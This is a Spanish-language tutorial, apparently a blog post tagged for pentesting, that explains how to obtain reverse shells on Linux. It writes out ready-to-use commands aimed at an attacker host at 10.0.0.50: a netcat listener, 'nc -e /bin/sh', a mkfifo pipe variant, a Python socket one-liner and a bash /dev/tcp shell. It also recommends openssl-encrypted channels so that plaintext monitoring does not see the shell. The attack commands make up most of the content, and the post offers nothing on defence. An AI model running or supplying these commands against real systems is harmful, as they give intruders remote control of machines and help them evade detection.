Generación de Reverse Shells Utilizando Netcat en Sistemas Linux

Introducción a Netcat

Netcat (comúnmente invocado mediante el comando nc) es una utilidad de red versátil, frecuentemente catalogada como la "navaja suiza" de las herramientas de conectividad. Su función principal es la lectura y escritura de datos a través de conexiones de red utilizando los protocolos TCP y UDP.

Gracias a su estabilidad y su diseño modular, es ampliamente utilizado para la creación de backdoors, diagnóstico de redes, escaneo de puertos, transferencia de archivos, recolección de datos forenses y ejecución remota de comandos. En la gran mayoría de las distribuciones de Linux, Netcat viene preinstalado. Si su sistema no lo incluye, puede instalarse fácilmente desde los repositorios oficiales; por ejemplo, en entornos CentOS/RHEL se puede ejecutar sudo dnf install nmap-ncat -y.

Configuración del Laboratorio para Reverse Shell

Para demostrar la mecánica de un reverse shell, utilizaremos el siguiente entorno de red simulado:

  • Máquina Atacente (Kali Linux): 10.0.0.50
  • Máquina Objetivo (Linux): 10.0.0.105

La dinámica consiste en que la máquina atacante se pondrá a la escucha en un puerto específico, mientras que la máquina objetivo iniciará una conexión saliente hacia el atacante, devolviendo (rebotando) una shell interactiva.

Ejecución del Reverse Shell con Netcat

Paso 1: Configuración del Listener

En la máquina atacante, debemos iniciar un listener para capturar la conexión entrante. Utilizaremos el puerto 9090:

nc -lvnp 9090

Paso 2: Conexión desde el Objetivo

Una vez que el listener está activo, ejecutamos el payload en la máquina comprometida.

Método A: Utilizando el parámetro -e

Esta instrucción establece una conexión inversa hacia la máquina atacante. Al redirigir los flujos de entrada y salida estándar a través del socket TCP, el atacante obtiene la capacidad de ejecutar comandos y recibir la salida. En esta variante, la shell resultante no mostrará un prompt interactivo estándar:

nc -e /bin/sh 10.0.0.50 9090

Si la versión de Netcat instalada en el objetivo no soporta el flag -e (común en las variantes OpenBSD), se puede lograr el mismo resultado utilizando named pipes (FIFO):

rm -f /tmp/pipe; mkfifo /tmp/pipe; cat /tmp/pipe | /bin/sh -i 2>&1 | nc 10.0.0.50 9090 > /tmp/pipe

Mejora a Terminal Interactiva (TTY)

Para obtener un prompt completo y evitar problemas de formateo al usar herramientas como su o editores de texto, es recomendable elevar la shell no interactiva a una TTY completa utilizando Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Alternativamente, se puede generar la conexión inversa y el spawn del TTY directamente en un solo paso mediante el módulo de sockets de Python:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.50",9090));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Método B: Utilizando Bash nativo (/dev/tcp)

Si Netcat no está disponible o carece de las opciones necesarias, Bash posee una funcionalidad integrada para manejar conexiones TCP. Este método redirige la entrada y salida estándar a un socket TCP, y a diferencia del primer método, suele mostrar el prompt del usuario de manera nativa:

bash -i >& /dev/tcp/10.0.0.50/9090 0>&1

Técnicas Alternativas y Canales Cifrados

Además de Netcat y Bash, es posible establecer reverse shells utilizando una amplia variedad de intérpretes y herraminetas presentes en los sistemas oeprativos, tales como telnet, awk, perl, php, ruby o socat.

Para entornos donde el tráfico de texto plano es monitoreado o bloqueado, se recomienda establecer canales cifrados. Esto se puede lograr combinando openssl con mkfifo para crear un túnel seguro que encapsule la shell inversa, garantizando la confidencialidad de los comandos y las credenciales transmitidas.

Etiquetas: netcat reverse-shell linux-security pentesting bash-scripting

Publicado el 8-1 16:23